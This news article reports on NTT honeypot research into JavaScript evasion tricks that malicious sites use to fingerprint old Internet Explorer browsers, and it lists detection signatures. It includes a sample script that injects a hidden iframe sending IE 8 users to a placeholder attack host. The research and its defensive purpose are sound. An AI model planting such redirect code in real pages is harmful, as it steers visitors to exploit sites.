How evil JavaScript helps attackers tag possible victims – and gives away their intent

Countdown to ancient IE a telltale sign of malice

A honeypot project operated by Japanese comms company NTT has turned up a bunch of new approaches to malware obfuscation.

Yuta Takata of NTT's Secure Platform Laboratories has published an analysis at the Asia Pacific Network Information Centre (APNIC) here. In it, he wrote that since JavaScript can be used to identify different (and vulnerable) browsers, it's worth watching to see if malware authors are using it that way.

Takata's group identified five evasion techniques that all abuse differences between JavaScript implementations, he stated, which is more complex than familiar redirection attacks that look at the User-Agent and redirect victims to pages specific to their browser.

In other words, this code would redirect an Internet Explorer 8 user to an attack site, but leave others alone:

var ua = navigator.userAgent; 
     if(ua.indexOf(“MSIE 8”) > -1) { 
     var ifr = document.createElement("iframe"); 
     ifr.setAttribute("src", “http://mal.example/ua=”+ ua);
     document.body.appendChild(ifr);
}

It matters, Takata said, because the evasion techniques identified in the research can serve as attack signatures.

The NTT team took two approaches to traffic collection: a "high interaction" honeyclient (a real browser designed to detect browser exploits), and a "low interaction" honeyclient that can "emulate many different client profiles, trace complicated redirections and hook code executions in detail".

Over several years, the NTT group collected and analysed 8,500 JavaScript samples from 20,000-plus malicious sites, and found five previously unseen evasion techniques as shown below.

Evasion technique Evasive code
Use of original object window.sidebar
Difference in array processing ["a","b",].length
Difference in string processing "\v"=="v"
Difference in setTimeout() processing setTimeout(10)
Difference in parseInt() processing parseInt("0123")

Takata wrote that of these setTimeout() provided the best indicator of compromise (IOC) – mainly because the other four aren't in current use.

That particular function helped attackers identify IE 8 and IE 9 browsers, because they return an "Invalid argument" error if a site asks them to process setTimeout(10); Firefox and Chrome don't.

That code turned out to be the strongest IOC of the five evasive code snippets NTT identified in its scan of more than 860,000 URLs: all of the 26 URLs that served up setTimeout(10) were in compromised websites, members of a mass "Fake jQuery" injection campaign. The other samples turned out to be either benign, or no longer in use. ®




Biting the hand that feeds IT © 1998–2018